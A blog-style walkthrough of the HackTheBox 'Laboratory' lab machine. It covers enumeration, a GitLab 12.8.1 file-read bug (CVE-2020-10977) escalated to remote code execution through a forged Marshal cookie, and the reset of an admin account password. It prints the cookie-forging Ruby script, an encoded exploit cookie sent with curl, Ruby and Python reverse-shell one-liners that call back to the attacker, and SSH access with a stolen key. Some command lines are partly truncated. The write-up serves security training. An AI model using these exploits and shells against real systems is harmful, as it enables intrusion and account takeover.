HTB Laboratory Walkthrough

A technical walkthrough of the HTB Laboratory challenge.

HTB Laboratory Walkthrough

Welcome back my friends, this time we are going to take on the Laboratory challenge, so let's go start, this will be an interesting writeup!

As always, an Nmap scan!

nmap -A -T4

Starting Nmap 7.91 ( ) at 2020-11-28 20:55 GMT
Nmap scan report for
Host is up (0.10s latency).
Not shown: 997 filtered ports
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 45.96 seconds

The ssh port, as usual, is open, port 80 and 443 for the web portal, that will be our first approach to the flag. Make attention at the redirected domain (laboratory.htb), so update immediate your hosts file and go on.

Wappalizer plugin installed on my browser, suggest some of the technology used on the portal.

Start write down some notes about the information that can be found on the portal.


(possible) Users:

  • Dexter CEO - The Laboratory
  • Dee Dee Uncertain
  • Anonymous Hacking Group

Looking inside the source of the page can be found a hidden code related to the navigation bar and links.

<!-- Nav -->
<!-- <nav id="menu">
	<ul class="links">
		<li><a href="index.html">Home</a></li>
		<li><a href="elements.html">Elements</a></li>
		<li><a href="generic.html">Generic</a></li>
</nav> -->

I try the link, but no news. Try with dirb, for hidden folder and routes.

┌─[✗]─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)]  
└──╼ $dirb https://laboratory.htb/

DIRB v2.22    
By The Dark Raver

START_TIME: Sat Nov 28 21:25:38 2020
URL_BASE: https://laboratory.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: https://laboratory.htb/ ----
==> DIRECTORY: https://laboratory.htb/assets/                                                                                                           
==> DIRECTORY: https://laboratory.htb/images/                                                                                                           
+ https://laboratory.htb/index.html (CODE:200|SIZE:7254)                                                                                                
+ https://laboratory.htb/server-status (CODE:403|SIZE:280)                                                                                              
---- Entering directory: https://laboratory.htb/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://laboratory.htb/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
END_TIME: Sat Nov 28 21:29:28 2020

Nothing again. Next step will be to search subdomains available on the primary domain. I already described these steps in my other tutorials, anyway, I will go to use dnsmasq, that allow my machine to point all the subdomain automatically.

First of all, modify the dnsmasq.conf and the resolve.conf with the correct data.


# nameserver

Start the dnsmasq service.

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/git]  
└──╼ $sudo service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: inactive (dead)
┌─[✗]─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/git]  
└──╼ $sudo service dnsmasq start
┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/git]  
└──╼ $sudo service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: active (running) since Sat 2020-11-28 22:56:45 GMT; 5s ago
    Process: 12470 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
    Process: 12478 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
    Process: 12489 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
   Main PID: 12488 (dnsmasq)
      Tasks: 1 (limit: 4646)
     Memory: 1.8M
     CGroup: /system.slice/dnsmasq.service
             └─12488 /usr/sbin/dnsmasq -x /run/dnsmasq/ -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-a>

Nov 28 22:56:45 Mykali systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Nov 28 22:56:45 Mykali dnsmasq[12488]: started, version 2.82 cachesize 150
Nov 28 22:56:45 Mykali dnsmasq[12488]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC >
Nov 28 22:56:45 Mykali systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.
Nov 28 22:56:45 Mykali dnsmasq[12488]: reading /etc/resolv.conf
Nov 28 22:56:45 Mykali dnsmasq[12488]: ignoring nameserver - local interface
Nov 28 22:56:45 Mykali dnsmasq[12488]: read /etc/hosts - 6 addresses

Now it's possible to proceed to scan the subdomains using wfuzz.

┌─[✗]─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/git]  
└──╼ $wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u https://FUZZ.laboratory.htb --hl 209 -v
 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: https://FUZZ.laboratory.htb/
Total requests: 5000

ID           C.Time       Response   Lines      Word     Chars       Server                           Redirect                         Payload 

000000262:   0.790s       302        0 L        5 W      105 Ch      nginx                            http://git.laboratory.htb/user   "git"   

 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Fatal exception: Pycurl error 6: Could not resolve host: m..laboratory.htb
Total time: 262.4235
Processed Requests: 2690
Filtered Requests: 2689
Requests/sec.: 10.25060

Well done, the git subdomain seems to be present. Add it on the hosts file and stop the dnsmasq service and restore the modified files.

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/git]  
└──╼ $sudo service dnsmasq stop
[sudo] password for in7rud3r: 
sh: 0: getcwd() failed: No such file or directory

Trying to reach the git.laboratory.htb, I'm redirected to the page https://git.laboratory.htb/users/sign_in, so I understand that I  have to face with a gitlab portal.

Immediate try on exploit-db portal to identify possible vulnerability, but I'm sure that doesn't will be so simple.

Reading on the exploits, I understand that should be something on the metasploit framework.

msf6 > search gitlab

Matching Modules

   #  Name                                                        Disclosure Date  Rank       Check  Description
   -  ----                                                        ---------------  ----       -----  -----------
   0  auxiliary/dos/dns/bind_tsig_badtime                         2020-05-19       normal     No     BIND TSIG Badtime Query Denial of Service
   1  auxiliary/scanner/http/gitlab_login                                          normal     No     GitLab Login Utility
   2  auxiliary/scanner/http/gitlab_user_enum                     2014-11-21       normal     No     GitLab User Enumeration
   3  auxiliary/scanner/ssh/ssh_enum_git_keys                                      normal     No     Test SSH Github Access
   4  exploit/linux/local/network_manager_vpnc_username_priv_esc  2018-07-26       excellent  Yes    Network Manager VPNC Username Privilege Escalation
   5  exploit/multi/http/gitlab_shell_exec                        2013-11-04       excellent  Yes    Gitlab-shell Code Execution
   6  post/windows/gather/psreadline_history                                       normal     No     Windows Gather PSReadline History

Interact with a module by name or index. For example info 6, use 6 or use post/windows/gather/psreadline_history

msf6 > use exploit/multi/http/gitlab_shell_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

Well, but, as I supposed, no exploit work fine for me. So, I start to search for 0day or something else. Searching for "GitLab Community Edition exploit":

GitLab 11.4.7 Remote Code Execution
Video write-up about the Real World CTF challenge “flaglab” that involved exploiting a GitLab 1day. Actually two CVEs were combined to achieve full remote code execution...

Mmmm, I don't know if it's the right direction, but let's go ahead. I come back on the portal and try to register my personal account on the git portal. I try with different mails, but all my tests are invalid and I pass the registration when I use a mail with @laboratory.htb domain. Well, when I'm inside I found the right version of the gitlab community edition used.

Ok, now I can reduce the target of my search and improve it with this additional information. Searching for "gitlab 12.8.1 exploit", proceed for one of the links in the first page, arriving here. Too many results, I need to reduce the result set, try to search for the exploit that reports "Exploit availability: Yes" and in this case, I can consider me a lucky man: CVE-2020-10977.

Could be an interesting vulnerability, but I need some explaining tutorials about that. So, again, searching for "CVE-2020-10977 exploit" I found two interesting articles:

Pentesting Git source repositories
GitLab disclosed on HackerOne: Arbitrary file read via the...
### SummaryThe `UploadsRewriter` does not validate the file name, allowing arbitrary files to be copied via directory traversal when moving an issue to a new project. The pattern used to look for...

Well, trying the exploit (it's really simple, you have to create two different projects on your gitlab profile yet created, create an issue inside one of them with the specified payload reported on the exploits, move it on the second project and download the file you specify in the payload), I ascertain that it works. Well, anyway, nothing interesting inside the passwd file, I try with different files, but I can't reach a good file with useful information. Anyway, in the same discussion, after the traversal exploit, the same user identify, through the same vulnerability, a way to transform the traversal exploit to an RCE exploit. Let's go try. So, to proceed with this exploit anyway, we need a local instance of the same gitlab installed on the target machine. Investigating, I found that the specific version is available also as docker container.

Download and launch it:

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
12.8.1-ce.0: Pulling from gitlab/gitlab-ce

┌─[[email protected]]─[~/Dropbox/hackthebox]  
└──╼ $sudo docker run -d gitlab/gitlab-ce:12.8.1-ce.0

Proceed with the original (traversal) exploit to download the secret file mentioned in the posts. Locate the same file into the docker container and replace with the downloaded one.

[email protected]:/# ls -la /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
lrwxrwxrwx 1 root root 44 Dec  6 10:35 /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml -> /var/opt/gitlab/gitlab-rails/etc/secrets.yml
[email protected]:/# ls -la /var/opt/gitlab/gitlab-rails/etc/secrets.yml
-rw-r--r-- 1 root root 4103 Dec  6 10:35 /var/opt/gitlab/gitlab-rails/etc/secrets.yml

Now, we have to go to generate the payload for the exploit that the RCE has to be executed on the target machine. Well, I try different command for a reverse shell, but most of them don't work (sometime the shell start but terminate immediat). Finally, I found a good reverse shell:

ruby -rsocket -e 'exit if fork;\"\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print}end'

So, for the entire exploit, open a shell on the docker yet launched and execute the following code:

[email protected]:/var/opt/gitlab/gitlab-rails/etc# gitlab-rails console
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
Loading production environment (Rails 6.0.2)
irb(main):001:0> request =
=> #<ActionDispatch::Request:0x00007f143844ee10 @env={"action_dispatch.parameter_filter"=>[/token$/, /password/, /secret/, /key$/, /^body$/, /^description$/, /^note$/, /^text$/, /^title$/, :certificate, :encrypted_key, :hook, :import_url, :otp_attempt, :sentry_dsn, :trace, :variables, :content, :sharedSecret, /^((?-mix:client_secret|code|authentication_token|access_token|refresh_token))$/], "action_dispatch.redirect_filter"=>[], "action_dispatch.secret_key_base"=>"3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3", "action_dispatch.show_exceptions"=>true, "action_dispatch.show_detailed_exceptions"=>false, "action_dispatch.logger"=>#<ActiveSupport::Logger:0x00007f1442877f78 @level=1, @progname=nil, @default_formatter=#<Logger::Formatter:0x00007f144282bd30 @datetime_format=nil>, @formatter=#<ActiveSupport::Logger::SimpleFormatter:0x00007f1442877f50 @datetime_format=nil, @thread_key="activesupport_tagged_logging_tags:69862496124840">, @logdev=#<Logger::LogDevice:0x00007f144282bce0 @shift_period_suffix=nil, @shift_size=nil, @shift_age=nil, @filename=nil, @dev=#<File:/opt/gitlab/embedded/service/gitlab-rails/log/production.log>, @mon_mutex=#<Thread::Mutex:0x00007f144282bc90>, @mon_mutex_owner_object_id=69862495968880, @mon_owner=nil, @mon_count=0>>, "action_dispatch.backtrace_cleaner"=>#<Rails::BacktraceCleaner:0x00007f144a83f3a0 @silencers=[#<Proc:0x00007f143df4af30@/opt/gitlab/embedded/service/gitlab-rails/config/initializers/backtrace_silencers.rb:8>], @filters=[#<Proc:0x00007f144a8d1ed0@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.2/lib/active_support/backtrace_cleaner.rb:97>, #<Proc:0x00007f144a8d18b8@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/railties-6.0.2/lib/rails/backtrace_cleaner.rb:16>, #<Proc:0x00007f144a8d1750@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/railties-6.0.2/lib/rails/backtrace_cleaner.rb:17>, #<Proc:0x00007f144a8d16b0@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/railties-6.0.2/lib/rails/backtrace_cleaner.rb:18>], @root="/opt/gitlab/embedded/service/gitlab-rails/">, "action_dispatch.key_generator"=>#<ActiveSupport::CachingKeyGenerator:0x00007f14334813d8 @key_generator=#<ActiveSupport::KeyGenerator:0x00007f1433481400 @secret="3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3", @iterations=1000>, @cache_keys=#<Concurrent::Map:0x00007f14334813b0 entries=1 default_proc=nil>>, "action_dispatch.http_auth_salt"=>"http authentication", "action_dispatch.signed_cookie_salt"=>"signed cookie", "action_dispatch.encrypted_cookie_salt"=>"encrypted cookie", "action_dispatch.encrypted_signed_cookie_salt"=>"signed encrypted cookie", "action_dispatch.authenticated_encrypted_cookie_salt"=>"authenticated encrypted cookie", "action_dispatch.use_authenticated_cookie_encryption"=>false, "action_dispatch.encrypted_cookie_cipher"=>nil, "action_dispatch.signed_cookie_digest"=>nil, "action_dispatch.cookies_serializer"=>:hybrid, "action_dispatch.cookies_digest"=>nil, "action_dispatch.cookies_rotations"=>#<ActiveSupport::Messages::RotationConfiguration:0x00007f14543a6618 @signed=[], @encrypted=[]>, "action_dispatch.use_cookies_with_metadata"=>false, "action_dispatch.content_security_policy"=>nil, "action_dispatch.content_security_policy_report_only"=>false, "action_dispatch.content_security_policy_nonce_generator"=>nil, "action_dispatch.content_security_policy_nonce_directives"=>nil}, @filtered_parameters=nil, @filtered_env=nil, @filtered_path=nil, @protocol=nil, @port=nil, @method=nil, @request_method=nil, @remote_ip=nil, @original_fullpath=nil, @fullpath=nil, @ip=nil>
irb(main):002:0> request.env["action_dispatch.cookies_serializer"] = :marshal
=> :marshal
irb(main):003:0> cookies = request.cookie_jar
=> #<ActionDispatch::Cookies::CookieJar:0x00007f14396adc00 @set_cookies={}, @delete_cookies={}, @request=#<ActionDispatch::Request:0x00007f143844ee10 @env={"action_dispatch.parameter_filter"=>[/token$/, /password/, /secret/, /key$/, /^body$/, /^description$/, /^note$/, /^text$/, /^title$/, :certificate, :encrypted_key, :hook, :import_url, :otp_attempt, :sentry_dsn, :trace, :variables, :content, :sharedSecret, /^((?-mix:client_secret|code|authentication_token|access_token|refresh_token))$/], "action_dispatch.redirect_filter"=>[], "action_dispatch.secret_key_base"=>"3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3", "action_dispatch.show_exceptions"=>true, "action_dispatch.show_detailed_exceptions"=>false, "action_dispatch.logger"=>#<ActiveSupport::Logger:0x00007f1442877f78 @level=1, @progname=nil, @default_formatter=#<Logger::Formatter:0x00007f144282bd30 @datetime_format=nil>, @formatter=#<ActiveSupport::Logger::SimpleFormatter:0x00007f1442877f50 @datetime_format=nil, @thread_key="activesupport_tagged_logging_tags:69862496124840">, @logdev=#<Logger::LogDevice:0x00007f144282bce0 @shift_period_suffix=nil, @shift_size=nil, @shift_age=nil, @filename=nil, @dev=#<File:/opt/gitlab/embedded/service/gitlab-rails/log/production.log>, @mon_mutex=#<Thread::Mutex:0x00007f144282bc90>, @mon_mutex_owner_object_id=69862495968880, @mon_owner=nil, @mon_count=0>>, "action_dispatch.backtrace_cleaner"=>#<Rails::BacktraceCleaner:0x00007f144a83f3a0 @silencers=[#<Proc:0x00007f143df4af30@/opt/gitlab/embedded/service/gitlab-rails/config/initializers/backtrace_silencers.rb:8>], @filters=[#<Proc:0x00007f144a8d1ed0@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.2/lib/active_support/backtrace_cleaner.rb:97>, #<Proc:0x00007f144a8d18b8@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/railties-6.0.2/lib/rails/backtrace_cleaner.rb:16>, #<Proc:0x00007f144a8d1750@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/railties-6.0.2/lib/rails/backtrace_cleaner.rb:17>, #<Proc:0x00007f144a8d16b0@/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/railties-6.0.2/lib/rails/backtrace_cleaner.rb:18>], @root="/opt/gitlab/embedded/service/gitlab-rails/">, "action_dispatch.key_generator"=>#<ActiveSupport::CachingKeyGenerator:0x00007f14334813d8 @key_generator=#<ActiveSupport::KeyGenerator:0x00007f1433481400 @secret="3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3", @iterations=1000>, @cache_keys=#<Concurrent::Map:0x00007f14334813b0 entries=1 default_proc=nil>>, "action_dispatch.http_auth_salt"=>"http authentication", "action_dispatch.signed_cookie_salt"=>"signed cookie", "action_dispatch.encrypted_cookie_salt"=>"encrypted cookie", "action_dispatch.encrypted_signed_cookie_salt"=>"signed encrypted cookie", "action_dispatch.authenticated_encrypted_cookie_salt"=>"authenticated encrypted cookie", "action_dispatch.use_authenticated_cookie_encryption"=>false, "action_dispatch.encrypted_cookie_cipher"=>nil, "action_dispatch.signed_cookie_digest"=>nil, "action_dispatch.cookies_serializer"=>:marshal, "action_dispatch.cookies_digest"=>nil, "action_dispatch.cookies_rotations"=>#<ActiveSupport::Messages::RotationConfiguration:0x00007f14543a6618 @signed=[], @encrypted=[]>, "action_dispatch.use_cookies_with_metadata"=>false, "action_dispatch.content_security_policy"=>nil, "action_dispatch.content_security_policy_report_only"=>false, "action_dispatch.content_security_policy_nonce_generator"=>nil, "action_dispatch.content_security_policy_nonce_directives"=>nil, "rack.request.cookie_hash"=>{}, "action_dispatch.cookies"=>#<ActionDispatch::Cookies::CookieJar:0x00007f14396adc00 ...>}, @filtered_parameters=nil, @filtered_env=nil, @filtered_path=nil, @protocol=nil, @port=nil, @method=nil, @request_method=nil, @remote_ip=nil, @original_fullpath=nil, @fullpath=nil, @ip=nil>, @cookies={}, @committed=false>
irb(main):004:0> erb ="<%= `ruby -rsocket -e 'exit if fork;\"\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print}end'` %>")
=> #<ERB:0x00007f14336a5b78 @safe_level=nil, @src="#coding:UTF-8\n_erbout = +''; _erbout.<<(( `ruby -rsocket -e'\"\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)' &` ).to_s); _erbout", @encoding=#<Encoding:UTF-8>, @frozen_string=nil, @filename=nil, @lineno=0>
irb(main):005:0> depr =, :result, "@result",
sh: 1: 7: Bad file descriptor
=> ""
irb(main):006:0> cookies.signed[:cookie] = depr
DEPRECATION WARNING: @result is deprecated! Call result.is_a? instead of @result.is_a?. Args: [Hash] (called from irb_binding at (irb):6)
Traceback (most recent call last):
        2: from -e:1:in `<main>'
        1: from -e:1:in `open'
-e:1:in `initialize': Connection refused - connect(2) for "" port 4444 (Errno::ECONNREFUSED)
Traceback (most recent call last):
        2: from -e:1:in `<main>'
        1: from -e:1:in `open'
-e:1:in `initialize': Connection refused - connect(2) for "" port 4444 (Errno::ECONNREFUSED)
=> ""
irb(main):007:0> puts cookies[:cookie]
=> nil
Make attention, during the generation of the exploit, could be need to activate the listener on your machine.

Copy the token generated and launch the curl, like specified in the original article.

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAb8jY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgcnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiMTAuMTAuMTQuMTg4IiwiNDQ0NCIpO3doaWxlKGNtZD1jLmdldHMpO0lPLnBvcGVuKGNtZCwiciIpe3xpb3xjLnByaW50IGlvLnJlYWR9ZW5kJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--cc77f932cad067dca245d5b8f53d9f61a8d29bcc"

Good, here the final script:

request =
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb ="<%= `ruby -rsocket -e 'exit if fork;\"\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print}end'` %>")
depr =, :result, "@result",
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Look at the remote shell:

┌─[✗]─[[email protected]]─[~/Dropbox/hackthebox]  
└──╼ $nc -lvp 4444
listening on [any] 4444 ...
connect to [] from laboratory.htb [] 33624
ls -la
total 8
drwx------ 2 git root 4096 Jul  2 18:01 .
drwxr-xr-x 9 git root 4096 Dec  6 22:22 ..

Ok, my next step will be to download the script on the remote machine and try to search for a vulnerability.

To upload files from my machine to the target machine, I use the usual procedure: I start a web server on my machine (with php or python for example) and call a wget or a curl from the target machine on my website.

Linpeas provide some interesting information:

[+] selinux enabled? .............. sestatus Not Found
[+] Printer? ...................... lpstat Not Found
[+] Is this a container? .......... Looks like we're in a Docker container
[+] Is ASLR enabled? .............. Yes
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root git 988 Jul  2 18:01 /var/opt/gitlab/gitlab-shell/config.yml
-rw-r----- 1 root git 525 Jul  2 18:01 /var/opt/gitlab/gitlab-rails/etc/database.yml
-rw-r----- 1 root git 22583 Jul  2 18:01 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
-rw-r----- 1 root git 781 Jul  2 18:01 /var/opt/gitlab/gitaly/config.toml
-rw-r----- 1 root git 70 Jul  2 18:02 /var/opt/gitlab/gitlab-workhorse/config.toml

[+] Modified interesting files in the last 5mins

[+] Writable log files (logrotten)
Writable: /var/log/gitlab/gitlab-rails/application_json.log.2.gz
Writable: /var/log/gitlab/gitlab-rails/importer.log.8.gz
Writable: /var/log/gitlab/unicorn/unicorn_stderr.log.9.gz
Writable: /var/log/gitlab/unicorn/unicorn_stderr.log.2.gz
Writable: /var/log/gitlab/unicorn/unicorn_stderr.log.6.gz
Writable: /var/log/gitlab/unicorn/unicorn_stderr.log.5.gz
Writable: /var/log/gitlab/unicorn/unicorn_stderr.log

The first important thing to note is the fact that we are into a docker container. Ok, I lose a lot of time, following the files listed above, report here some of this interesting info retrieved from the files.

cat /var/opt/gitlab/gitlab-shell/config.yml
# File used as authorized_keys for gitlab user
auth_file: "/var/opt/gitlab/.ssh/authorized_keys"

# Log file.
# Default is gitlab-shell.log in the root directory.
log_file: "/var/log/gitlab/gitlab-shell/gitlab-shell.log"

ls -la /var/opt/gitlab/.ssh/authorized_keys
-rw------- 1 git git 0 Jul  2 18:01 /var/opt/gitlab/.ssh/authorized_keys

cat /var/opt/gitlab/gitlab-rails/etc/database.yml
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

  adapter: postgresql
  encoding: unicode
  database: gitlabhq_production
  pool: 1
  username: "gitlab"
  host: "/var/opt/gitlab/postgresql"
  port: 5432
  sslcompression: 0
  load_balancing: {"hosts":[]}
  prepared_statements: false
  statement_limit: 1000

Despite the info, I have to resort to the suggestions of the forum, here the ones that gave me an interesting start.

  • User: If you can't crack it, change it. Please restore/reset the machine.
  • Google basic commands research on G****-r**** C******.
  • User : be careful with d***** s** k** [...]

I understand that, probably, I have to "change" the password for the gitlab user. Searching for "change password gitlab docker":

How to reset your root password | GitLab
Documentation for GitLab Community Edition, GitLab Enterprise Edition, Omnibus GitLab, and GitLab Runner.

On the remote shell proceed with the password change task.

gitlab-rails console -e production
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
Loading production environment (Rails 6.0.2)
Switch to inspect mode.

User.where(id: 1).first
ls -la
total 8
drwx------ 2 git root 4096 Jul  2 18:01 .
drwxr-xr-x 9 git root 4096 Dec  8 11:37 ..

There's some problem with my shell... as usual, I need to spawn a TTY shell, probably, let's me try, I'll open a new shell on different port!

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

And another reverse shell is spawned, this time seems that it works.

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/ws]  
└──╼ $nc -lvnp 4445
listening on [any] 4445 ...
connect to [] from (UNKNOWN) [] 39590
/bin/sh: 0: can't access tty; job control turned off
$ sudo -l
/bin/sh: 1: sudo: not found
$ gitlab-rails console -e production
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
Loading production environment (Rails 6.0.2)
Switch to inspect mode.
User.where(id: 1).first
User.where(id: 1).first
#<User id:1 @dexter>

User.where(id: 2).first
User.where(id: 2).first
User.where(id: 0).first
User.where(id: 0).first

#<ActiveRecord::Relation [#<User id:4 @seven>, #<User id:3 @ghost>, #<User id:1 @dexter>, #<User id:5 @dhanush>, #<User id:6 @l0ng>]>

user = User.where(id: 1).first
user = User.where(id: 1).first
#<User id:1 @dexter>
user.password = 'in7rud3r'
user.password = 'in7rud3r'
user.password_confirmation = 'in7rud3r'
user.password_confirmation = 'in7rud3r'
Enqueued ActionMailer::DeliveryJob (Job ID: 3de67f6f-e116-4967-8d41-b93d195e8a71) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007faeac938a98 @uri=#<URI::GID gid://gitlab/User/1>>

If all the steps worked, we should be able to log into the gitlab portal with the dexter account.

Well, I found the ssh key generated for the SSL connection. When I try the key, I have a nasty surprise.

┌─[✗]─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $chmod 400 id_rsa 
┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $ssh [email protected] -i id_rsa 
Load key "id_rsa": invalid format
[email protected]: Permission denied (publickey).

What's happen?

┌─[✗]─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $cat id_rsa 
-----END OPENSSH PRIVATE KEY-----┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $

Ok, the last carriage return is missed.

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $ssh [email protected] -i id_rsa 
[email protected]:~$ 

And I'm in finally, with an SSL connection on the dexter user.

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $ssh [email protected] -i id_rsa 
[email protected]:~$ pwd
[email protected]:~$ ls -la
total 40
drwxr-xr-x 6 dexter dexter 4096 Oct 22 08:42 .
drwxr-xr-x 3 root   root   4096 Jun 26 20:17 ..
lrwxrwxrwx 1 root   root      9 Jul 17 15:19 .bash_history -> /dev/null
-rw-r--r-- 1 dexter dexter  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 dexter dexter 3771 Feb 25  2020 .bashrc
drwx------ 2 dexter dexter 4096 Jun 26 20:29 .cache
drwx------ 2 dexter dexter 4096 Oct 22 08:14 .gnupg
drwxrwxr-x 3 dexter dexter 4096 Jun 26 20:48 .local
-rw-r--r-- 1 dexter dexter  807 Feb 25  2020 .profile
drwx------ 2 dexter dexter 4096 Jun 26 21:21 .ssh
